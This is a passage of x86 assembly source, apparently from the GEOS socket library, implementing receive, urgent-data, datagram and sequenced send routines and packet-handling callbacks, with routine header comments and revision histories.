mov bx, ds:[di].SI_semSem
call ThreadPSem
call WakeUpSocketLow
call ThreadVSem
jnz interruptCommon
interruptReset:
and ds:[di].SI_flags, not mask SF_INTERRUPT
interruptCommon:
mov ax, SE_INTERRUPT
stc
jmp done
;
; abort in case of exception/urgent data
; this does not apply to urgent reads, naturally
;
; for datagrams, put the exception into the error code
;
checkException:
test si, mask SRF_URGENT
jnz checkState
test ds:[di].SI_flags, mask SF_EXCEPT
jz checkState
and ds:[di].SI_flags, not mask SF_EXCEPT
mov ax, SE_EXCEPTION
cmp ds:[di].SI_delivery, SDT_DATAGRAM
stc
jne done
mov ah, ds:[di].DSI_exception
jmp done
;
; datagram and sequenced sockets have different checks
;
checkState:
cmp ds:[di].SI_delivery, SDT_DATAGRAM
NEC < je default >
nec_bottom::
NEC < .assert offset nec_bottom eq offset checkSequenced >
EC < jne checkSequenced >
;
; a datagram socket is ok as long as it is bound
;
EC < test si, mask SRF_URGENT >
EC < ERROR_NZ URGENT_FLAG_REQUIRES_NON_DATAGRAM_SOCKET >
EC < tst ds:[di].SI_port >
EC < ERROR_Z SOCKET_NOT_BOUND >
EC < jmp default >
;
; a sequenced socket must be connected, and able to receive data
;
checkSequenced::
EC < cmp ds:[di].SI_state, ISS_CONNECTED >
EC < ERROR_NE SOCKET_NOT_CONNECTED >
;
; determine whether we should wait for data
; determine what error to give if no data exists
;
mov dx, BB_FALSE
mov ax, ds:[di].SSI_error
test ds:[di].SI_flags, mask SF_FAILED
jnz done
mov ax, SE_CONNECTION_CLOSED
test ds:[di].SI_flags, mask SF_RECV_ENABLE
jz done
default:
mov dx, BB_TRUE
mov ax, SE_TIMED_OUT
done:
.leave
ret
SocketVerifyRecvState endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SocketGetUrgent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get data from a socket
CALLED BY: (INTERNAL) SocketRecvLow
PASS: ds:di = SocketINfo
ss:bp = inherited stack frame
RETURN: cx = size of data received
ax = SE_NORMAL
carry clear
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 6/15/95 Initial version
brianc 10/22/98 Made far for SocketRecvLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SocketGetUrgent proc far
uses bx,dx,si,di,es
.enter inherit SocketRecvLow
;
; initialize pointers
;
mov si,di ; ds:si = SocketInfo
movdw esdi, ss:[buffer] ; es:di = user buffer
movdw bxax, ds:[si].SSI_urgent
;
; determine size to copy
;
mov dx, ds:[si].SSI_urgentSize
mov cx, ss:[bufSize]
cmp cx,dx
jbe clearSSI
mov cx,dx
;
; possibly clear the socket
;
clearSSI:
test ss:[flags], mask SRF_PEEK
jnz checkSize
clrdw ds:[si].SSI_urgent
clr ds:[si].SSI_urgentSize
;
; cx=size to copy, dx=original size
;
; if dx<=4, data is in bxax
; if dx>4, data is in ^lbx:ax
;
checkSize:
cmp dx,4
ja getChunk
call SocketGetUrgentRegs
jmp done
getChunk:
call SocketGetUrgentChunk
test ss:[flags], mask SRF_PEEK
jnz done
;
; free the data chunk
;
mov_tr cx,ax
mov ax,bx
call HugeLMemFree
;
; return original size to user
;
done:
EC < test ss:[flags], mask SRF_ADDRESS >
EC < ERROR_NE ADDRESS_FLAG_REQUIRES_DATAGRAM_SOCKET >
mov cx,dx
clr ax ; ax=SE_NORMAL, carry clear
.leave
ret
SocketGetUrgent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SocketGetUrgentRegs
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy data from a dword register into memory
CALLED BY: (INTERNAL) SocketGetUrgent
PASS: bxax - urgent data
cx - number of bytes to copy
es:di - buffer for data
RETURN: nothing
DESTROYED: cx,di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 6/15/95 Initial version
brianc 10/22/98 Made far for SocketRecvLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SocketGetUrgentRegs proc far
.enter
jcxz done
stosb ; byte 0 = al
dec cx
jz done
mov al,ah
stosb ; byte 1 = ah
dec cx
jz done
mov al,bl
stosb ; byte 2 = bl
dec cx
jz done
mov al,bh
stosb ; byte 3 = bh
done:
.leave
ret
SocketGetUrgentRegs endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SocketGetUrgentChunk
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy data from a huge lmem chunk
CALLED BY: (INTERNAL) SocketGetUrgent
PASS: ^lbx:ax = urgent data
cx = number of bytes to copy
es:di = buffer for data
RETURN: nothing
DESTROYED: si,di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 6/15/95 Initial version
brianc 10/22/98 Made far for SocketRecvLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SocketGetUrgentChunk proc far
uses ax,ds
.enter
jcxz done
;
; lock and dereference the huge lmem chunk
;
mov si,ax
call HugeLMemLock
mov ds,ax
mov si, ds:[si] ; ds:si = data
;
; copy the data
;
EC < call ECCheckMovsb >
rep movsb
;
; release the huge lmem
;
call HugeLMemUnlock
done:
.leave
ret
SocketGetUrgentChunk endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SocketGetData
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get data from a socket
CALLED BY: (INTERNAL) SocketRecvLow
PASS: ds:di = SocketINfo
ss:bp = inherited stack frame
RETURN: cx = size of data received
ax = SE_NORMAL
carry clear
DESTROYED: bx,dx,si,di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 12/12/94 Initial version
brianc 10/22/98 Made far for SocketRecvLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SocketGetData proc far
.enter inherit SocketRecvLow
;
; initialize state for callback
;
push ds,di
segmov ss:[deliveryType], ds:[di].SI_delivery, al
segmov ss:[dataOffset], ds:[di].SI_dataOffset, ax
clr ss:[dataSize]
clr ss:[pktCount]
;
; enumerate the queue
;
mov bx, handle SocketQueues
mov si, ds:[di].SI_dataQueue
mov cx, SEGMENT_CS
mov dx, offset SocketRecvCallback
movdw dsdi, ss:[buffer]
call QueueEnum
pop ds,di ; ds:di = SocketInfo
;
; possibly copy the address out of the socket
;
copyAddress::
test ss:[flags], mask SRF_ADDRESS
jz discard
mov cx, ss:[pktCount]
jcxz checkSize
push es, di, bx
movdw esdi, ss:[abuf]
mov bx, ss:[socketHan]
call SocketGetDataAddress
pop es, di, bx
;
; for RECV, set dataSize to number of bytes actually copied,
; which is (bufSize - bufRemaining)
;
discard:
test ss:[flags], mask SRF_PEEK
jnz checkSize ; no discard on peek
mov cx, ss:[pktCount] ; # of packets to discard
jcxz checkSize ; queue was empty
cmp ss:[deliveryType], SDT_STREAM
jne countOK
;
; if we didn't completely read the last packet, leave it on
; the queue for the next receive
;
; as long as we're messing with dataOffset, copy it back to
; the socket
;
mov ax, ss:[dataOffset]
mov ds:[di].SI_dataOffset, ax
tst ax ; did we finish last pkt?
jz countOK
dec cx ; don't discard unfinished pkt
;
; actually discard the packets
; note: ^lbx:si = queue, cx = count
;
countOK:
call SocketDequeuePackets
clr dx
subdw ds:[di].SI_curQueueSize, dxcx
EC < ERROR_C CORRUPT_SOCKET >
;
; for RECV, return number of bytes actually read
; for PEEK, return number of bytes available for reading
;
checkSize:
mov cx, ss:[bufSize]
sub cx, ss:[bufRemaining]
test ss:[flags], mask SRF_PEEK
jz success
mov cx, ss:[dataSize]
;
; we successfully read some data
;
success:
mov ax, SE_NORMAL
clc
done::
.leave
ret
SocketGetData endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SocketRecvCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy data from one packet into user's buffer
CALLED BY: (INTERNAL)
PASS: ss:bp - inherited stack frame
ds:di - pointer to end of data in user's buffer
es:si - current queue element
ss:[dataOffset] offset to start reading in packet
ss:[bufRemaining] space remaining in user's buffer
ss:[flags] receive flags
ss:[dataSize] size of all packets examined previously
ss:[pktCount] number of packets visited previously
RETURN: carry - set to abort
ds:di - moved past copied data
ss:[dataOffset] if non-zero, offset we stopped at
ss:[bufRemaining] space remaining in user's buffer
ss:[pktSize] size of this packet
ss:[dataSize] size of all packets examined
ss:[pktCount] number of packets visited
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 10/ 7/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SocketRecvCallback proc far
uses ax,bx,cx,dx,si,bp,ds,es
.enter inherit SocketGetData
;
; lock the packet
;
movdw bxsi, es:[si] ; ^lbx:si = packet
push bx
segmov es,ds,ax ; es:di = user buffer
call HugeLMemLock
mov ds,ax ; *ds:si = packet
mov si, ds:[si] ; ds:si = packet
mov ss:[header], si
;
; skip over the packet header
;
skipHeaders::
mov al, ds:[si].PH_flags
mov cx, ds:[si].PH_dataSize ; cx = size of lib data
add si, ds:[si].PH_dataOffset ; si = data
;
; for packets from link drivers, skip the library's headers also
;
test al, mask PF_LINK
jz addOffset
EC < cmp ds:[si].LDP_type, LPT_USER_DATA >
EC < ERROR_NE UNEXPECTED_PACKET_TYPE >
mov bl, ds:[si].LDP_offset
clr bh
add si, bx ; ds:si = data
sub cx, bx ; cx= size of user data
;
; take data offset into account
;
addOffset:
clr ax
xchg ax, ss:[dataOffset] ; ax = old offset
add si, ax
sub cx, ax ; remaining data size
;
; update various counters
;
gotSize::
add ss:[dataSize], cx
inc ss:[pktCount] ; count pkt as read
sub ss:[bufRemaining], cx
;
; if buffer >= data, proceed with copy
; dataOffset is already zero, which is correct for this case
;
jge copyData
;
; buffer is too small, so adjust cx by the deficit
;
add cx, ss:[bufRemaining] ; cx=original buf size
clr ss:[bufRemaining]
;
; remember offset for next read
;
test ss:[flags], mask SRF_PEEK
jnz copyData
add ax,cx ; add new offset to old
mov ss:[dataOffset], ax ; write combined offset
;
; copy the data into the buffer
;
copyData:
jcxz pastCopy
EC < call ECCheckMovsb >
rep movsb
;
; decide whether to continue enumeration
; SEQ and DGRAM always stops
; RECV STREAM stops if buffer is full
; PEEK STREAM always continues
;
pastCopy::
cmp ss:[deliveryType], SDT_STREAM
stc
jne done
test ss:[flags], mask SRF_PEEK ; clears carry
jnz done
tst_clc ss:[bufRemaining]
jnz done
stc
done:
pop bx
call HugeLMemUnlock
.leave
ret
SocketRecvCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SocketGetDataAddress
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get address from first packet in a datagram socket
CALLED BY: (INTERNAL) SocketGetData
PASS: es:di - SocketAddress
*ds:bx - SocketInfo
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 12/15/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SocketGetDataAddress proc near
uses ax,bx,cx,dx,si,di,bp,ds
.enter
mov si, ds:[bx]
cmp ds:[si].SI_delivery, SDT_DATAGRAM
EC < ERROR_NE ADDRESS_FLAG_REQUIRES_DATAGRAM_SOCKET >
NEC < jne done >
;
; for datagram sockets, find the first packet
;
mov bx, handle SocketQueues
mov si, ds:[si].SI_dataQueue
push di ; save buf offset
mov cx, NO_WAIT
call QueueDequeueLock
pop cx ; cx = buf offset
jc done
movdw bxax, ds:[di]
call QueueAbortDequeue
mov si, ax ; bx:si = hugelmem
call HugeLMemLock
mov ds,ax
mov si, ds:[si]
mov di, cx ; es:di = buffer
;
; get the address
;
push si,di
add di, offset SA_address ; es:di = buffer
mov cl, ds:[si].DPH_addrSize
clr ch ; cx = addr size
mov al, ds:[si].DPH_addrOffset
clr ah
add si, ax ; ds:si = address
EC < call ECCheckMovsb >
rep movsb
pop si,di
;
; get the port
;
test ds:[si].PH_flags, mask PF_LINK
jnz link
;
; 16 bit port is in the DatagramPacketHeader
;
mov es:[di].SA_port.SP_manuf, MANUFACTURER_ID_SOCKET_16BIT_PORT
segmov es:[di].SA_port.SP_port, ds:[si].DPH_remotePort, ax
jmp cleanup
;
; 32 bit port is in the LinkDataPacket
;
link:
add si, ds:[si].PH_dataOffset
movdw es:[di].SA_port, ds:[si].LDP_source, ax
cleanup:
call HugeLMemUnlock
done::
.leave
ret
SocketGetDataAddress endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SocketSendSequencedLink
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send a sequenced packet via link driver
CALLED BY: (INTERNAL) SocketSend
PASS: ds:si - data to send
cx - size of data
ON STACK
PacketInfo
RETURN: carry set if error
ax = SocketError
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 6/ 7/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SocketSendSequencedLink proc near info:PacketInfo
uses bx,cx,dx,si,ds,es
packetData local fptr push ds,si
dataSize local word push cx
packetSize local word ; user data + LDP
packetChunk local optr
.enter
;
; compute size of final packet
;
mov ax, size LinkDataPacket
add ax,cx
mov ss:[packetSize], ax
add ax, ss:[info].PI_headerSize
;
; allocate a chunk for it
;
clr cx ; don't wait for memory
GetPacketHeap ; bx = heap
call HugeLMemAllocLock ;^lax:cx = new buffer,
; ds:di = new buffer
movdw ss:[packetChunk], axcx
jnc initPacket
;
; can't alloc memory
;
mov ax, SE_OUT_OF_MEMORY
jmp done
;
; initialize driver header
;
initPacket:
segmov ds:[di].PH_dataSize, ss:[dataSize], bx
add ds:[di].PH_dataSize, size LinkDataPacket
segmov ds:[di].PH_dataOffset, ss:[info].PI_headerSize, bx
mov ds:[di].PH_flags, PacketFlags <1,0,PT_SEQUENCED>
segmov ds:[di].PH_domain, ss:[info].PI_client, bx
segmov ds:[di].SPH_link, ss:[info].PI_link, bx
;
; compute offset to library header and initialize it
;
add di, ss:[info].PI_headerSize
mov ds:[di].LDP_type, LPT_USER_DATA
movdw ds:[di].LDP_source, ss:[info].PI_srcPort, bx
movdw ds:[di].LDP_dest, ss:[info].PI_destPort, bx
mov ds:[di].LDP_offset, size LinkDataPacket
;
; copy the user's data
;
copyData::
segmov es,ds,si
add di, size LinkDataPacket
movdw dssi, ss:[packetData]
mov cx, ss:[dataSize]
EC < call ECCheckMovsb >
rep movsb
;
; unlock the packet
;
mov bx, ax
call HugeLMemUnlock
;
; verify the packet (trashes cx,dx)
;
verifyPacket::
EC < movdw cxdx, ss:[packetChunk] >
EC < mov cx,ax >
EC < call ECCheckOutgoingPacket >
;
; send the packet
;
callDriver::
push bp ; save frame pointer
lea di, ss:[info] ; ss:di = PacketInfo
pushdw ss:[di].PI_entry ; driver entry
mov cx, ss:[packetSize] ; size of packet
mov dx, ss:[packetChunk].handle
mov bp, ss:[packetChunk].offset ; ^ldx:bp = packet
mov bx, ss:[di].PI_link ; connection handle
mov ax, DEFAULT_SEND_TIMEOUT ; timeout in ticks
mov si, SSM_NORMAL
mov di, DR_SOCKET_SEND_DATA ; SocketFunction
call PROCCALLFIXEDORMOVABLE_PASCAL ; send the packet
pop bp ; bp = frame pointer
mov ax, SE_NORMAL
jnc done
mov ax, SE_TIMED_OUT
done:
.leave
ret @ArgSize
SocketSendSequencedLink endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SocketSendSequencedData
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send a sequenced packet via data driver
CALLED BY: (INTERNAL) SocketSend
PASS: ds:si - data to send
cx - size of data
ax - SocketSendFlags
ON STACK
PacketInfo
RETURN: carry set if error
ax = SocketError (SE_TIMED_OUT,
SE_OUT_OF_MEMORY)
DESTROYED: es
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 11/16/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SocketSendSequencedData proc near info:PacketInfo
uses bx,cx,dx,si,di,bp
packetData local fptr push ds,si
dataSize local word push cx
flags local word push ax
packetChunk local optr
.enter
;
; compute size of packet, including header
;
mov ax, ss:[info].PI_headerSize
add ax, cx
;
; allocate a packet chunk
;
clr cx ; don't wait for memory
GetPacketHeap ; bx = heap
call HugeLMemAllocLock ;^lax:cx = new buffer,
; ds:di = new buffer
movdw ss:[packetChunk], axcx
jnc initPacket
mov ax, SE_OUT_OF_MEMORY
jmp done
;
; initialize driver header
;
initPacket:
segmov ds:[di].PH_dataSize, ss:[dataSize], bx
mov ds:[di].PH_flags, PacketFlags <0,0,PT_SEQUENCED>
segmov ds:[di].PH_domain, ss:[info].PI_client, bx
segmov ds:[di].SPH_link, ss:[info].PI_link, bx
segmov ds:[di].PH_dataOffset, ss:[info].PI_headerSize, bx
;
; copy the user's data
;
copyData::
segmov es,ds,si
add di, bx ; es:di = data buffer
movdw dssi, ss:[packetData] ; ds:si = user's data
mov cx, ss:[dataSize]
EC < call ECCheckMovsb >
rep movsb
;
; unlock the packet and grab dgroup
;
mov bx, ax
call HugeLMemUnlock
mov bx, handle dgroup
call MemDerefES
;
; send the data
;
callDriver::
push bp
pushdw ss:[info].PI_entry ; routine to call
mov cx, ss:[dataSize] ; size of data
mov bx, ss:[info].PI_link ; connection handle
mov ax, es:[sendTimeout] ; timeout in ticks
mov si, SSM_NORMAL
test ss:[flags], mask SSF_URGENT
jz gotMode
mov si, SSM_URGENT
gotMode:
mov di, DR_SOCKET_SEND_DATA
movdw dxbp, ss:[packetChunk]
call PROCCALLFIXEDORMOVABLE_PASCAL
;
; parse the result codes
;
result::
pop bp
jnc normal
mov dx, ax
mov al, SE_TIMED_OUT
cmp dl, SDE_CONNECTION_TIMEOUT
je failed
mov al, SE_INTERRUPT
cmp dl, SDE_INTERRUPTED
je failed
mov al, SE_CONNECTION_CLOSED
cmp dl, SDE_CONNECTION_RESET
je failed
EC < cmp dl, SDE_CONNECTION_RESET_BY_PEER >
EC < ERROR_NE UNEXPECTED_SOCKET_DRIVER_ERROR >
failed:
stc
jmp done
normal:
clr ax
done:
.leave
ret @ArgSize
SocketSendSequencedData endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SocketSendDatagram
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create and send a datagram packet
CALLED BY: (INTERNAL) SocketSend
PASS: ds:si - data to send
cx - size of data
ax - sendFlags
es:di - SocketAddress
(on stack) PacketInfo
RETURN: args popped
carry set if error
ax - SocketError
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 6/ 7/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SocketSendDatagram proc near info:PacketInfo
uses bx,cx,dx,si,di,bp,ds,es
buffer local fptr push ds,si
bufSize local word push cx
flags local word push ax
packet local optr
packetSize local word
addressFptr local fptr.SocketAddress
.enter
;
; Store a fptr to socketAddress structure
;
movdw ss:[addressFptr], esdi
;
; compute size of packet
;
; this includes the driver header and address, and possibly a library
; header
;
mov ax,cx
cmp ss:[info].PI_driverType, SDT_DATA
je gotSize
add ax, size LinkDataPacket
gotSize:
mov ss:[packetSize], ax
add ax, es:[di].SA_addressSize
add ax, ss:[info].PI_headerSize
;
; allocate a chunk for it
;
mov si,di ; es:si = address
push bx,cx,es
clr cx ; don't wait for memory
GetPacketHeap ; bx = heap, es trashed
call HugeLMemAllocLock ;^lax:cx = new buffer,
; ds:di = new buffer
movdw ss:[packet], axcx
pop bx,cx,es
jnc initDPH
mov ax, SE_OUT_OF_MEMORY
jmp exit
;
; initialize DatagramPacketHeader size fields
;
initDPH:
segxchg es,ds ; ds:si = address,
; es:di = packet
segmov es:[di].PH_dataSize, ss:[packetSize], ax
mov ax, ds:[si].SA_addressSize
mov es:[di].DPH_addrSize, al
add ax, ss:[info].PI_headerSize
mov es:[di].PH_dataOffset, ax
mov ax, ss:[info].PI_headerSize
mov es:[di].DPH_addrOffset, al
;
; initialize the remaining fields
; the portnums don't need to be initialized for link drivers
; but its easier to just do it then to check PI_driverType
;
mov al, PacketFlags<0,0,PT_DATAGRAM>
mov cx, flags
and cx, mask SSF_OPEN_LINK
jz gotFlags
ornf al, mask PF_OPEN_LINK
gotFlags:
mov es:[di].PH_flags, al
segmov es:[di].PH_domain, ss:[info].PI_client, ax
segmov es:[di].DPH_localPort, ss:[info].PI_srcPort.SP_port, ax
segmov es:[di].DPH_remotePort, ds:[si].SA_port.SP_port, ax
;
; copy the address, moving di past the address
;
copyAddr::
mov cx, ds:[si].SA_addressSize
add di, ss:[info].PI_headerSize
push si
add si, offset SA_address
EC < call ECCheckMovsb >
rep movsb
pop si
;
; initialize LinkDataPacket, if needed
;
initLDP::
cmp ss:[info].PI_driverType, SDT_DATA
je copyBuffer
mov es:[di].LDP_type, LPT_USER_DATA
mov es:[di].LDP_offset, size LinkDataPacket
movdw es:[di].LDP_source, ss:[info].PI_srcPort, ax
movdw es:[di].LDP_dest, ds:[si].SA_port, ax
add di, size LinkDataPacket
;
; copy the user's buffer
;
copyBuffer:
movdw dssi, ss:[buffer]
push si
mov cx, ss:[bufSize]
EC < call ECCheckMovsb >
rep movsb
pop si
;
; unlock packet
;
mov bx, ss:[packet].handle
call HugeLMemUnlock
;
; call driver
;
callDriver::
push bp
pushdw ss:[info].PI_entry
movdw dssi, ss:[addressFptr]
mov ax, ds:[si].SA_addressSize
add si, offset SA_address
mov cx, ss:[packetSize]
mov bx, ss:[info].PI_client
movdw dxbp, ss:[packet]
mov di, DR_SOCKET_SEND_DATAGRAM
call PROCCALLFIXEDORMOVABLE_PASCAL
pop bp
;
; check outcome
;
pastDriver::
cmc
jc done
cmp al, SDE_DESTINATION_UNREACHABLE
jne notUnreachable
mov al, SE_DESTINATION_UNREACHABLE
jmp done
notUnreachable:
cmp al, SDE_DRIVER_NOT_FOUND
jne notDriver
mov al, SE_CANT_LOAD_DRIVER
jmp done
notDriver:
cmp al, SDE_LINK_OPEN_FAILED
jne notLink
mov al, SE_LINK_FAILED
jmp done
notLink:
mov ah,al
mov al, SE_INTERNAL_ERROR
clc
done:
cmc
exit:
.leave
ret @ArgSize
SocketSendDatagram endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SocketInterruptSend
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Interrupt a SocketSend
CALLED BY: SocketInterrupt
PASS: ds:di = SocketInfo
RETURN: ds:di = same socket (may have moved)
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 8/ 1/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SocketInterruptSend proc near
uses bx, si
.enter
;
; find the driver and connection
;
mov bx, ds:[di].SSI_connection.CE_link
mov si, ds:[di].SSI_connection.CE_domain
mov di, ds:[si]
;
; lock driver
;
call SocketGrabMiscLock
pushdw ds:[di].DI_entry
call SocketControlEndWrite
;
; tell it to stop sending
;
mov di, DR_SOCKET_STOP_SEND_DATA
call PROCCALLFIXEDORMOVABLE_PASCAL
;
; release driver
;
call SocketControlStartWrite
call SocketReleaseMiscLock
mov di, ds:[si]
.leave
ret
SocketInterruptSend endp
ExtraApiCode ends
StrategyCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ReceiveConnectionControlPacket
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle a connection control packet
CALLED BY: (INTERNAL) SocketLinkPacket
PASS: ds - control segment
es:di - SequencedPacketHeader
bx - offset of ConnectionControlPacket
cxdx - optr to packet
RETURN: carry - set to free packet
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 6/ 4/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
connectionControlTable nptr.near \
ConnectionOpen,
ConnectionAccept,
ConnectionBegin,
ConnectionRefuse,
ConnectionClose,
ConnectionCancel
ReceiveConnectionControlPacket proc near
uses ax,bp
.enter
;
; verify that it is sequenced
;
EC < mov al, es:[di].PH_flags >
EC < and al, mask PF_TYPE >
EC < cmp al, PT_SEQUENCED >
EC < ERROR_NE CORRUPT_PACKET >
;
; upgrade our lock, since we will probably need to manipulate
; chunks to carry out the operation
;
call SocketControlReadToWrite
;
; get the ConnectionControlOperation
;
mov al, es:[di][bx].CCP_opcode
clr ah
mov bp,ax
call cs:[connectionControlTable][bp]
;
; mark the packet for deletion and exit
;
stc
call SocketControlWriteToRead
.leave
ret
ReceiveConnectionControlPacket endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ReceiveLinkDataPacket
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Find a home for an incoming data packet
CALLED BY: (INTERNAL) SocketLinkPacket
PASS: es:di - SequencedPacketHeader
bx - offset to LinkDataPacket
cxdx - optr to packet
RETURN: carry set to free packet
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 6/ 4/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ReceiveLinkDataPacket proc near
uses ax,bx,cx,dx,si,di,bp
packet local optr push cx,dx
linkHeader local word push di
dataHeader local word push bx
.enter
;
; get the control segment
;
call SocketControlStartRead ; ds=control, es=dgroup
;
; find the port
;
findPort::
movdw axbx, es:[di][bx].LDP_dest ; destination port
mov dx, es:[di].PH_domain ; domain handle
call SocketFindPort ; ds:di=PortArrayEntry
EC < WARNING_C ORPHANED_PACKET >
jc done
;
; get the delivery type
;
getType::
mov si,ds:[di].PAE_info ; *ds:si = PortInfo
mov di, ss:[linkHeader] ; es:di = PacketHeader
mov bx, ss:[dataHeader]
mov al, es:[di].PH_flags
and al, mask PF_TYPE
cmp al, PT_DATAGRAM
je findDatagram
;
; find the socket for a sequenced packet
;
findSequenced::
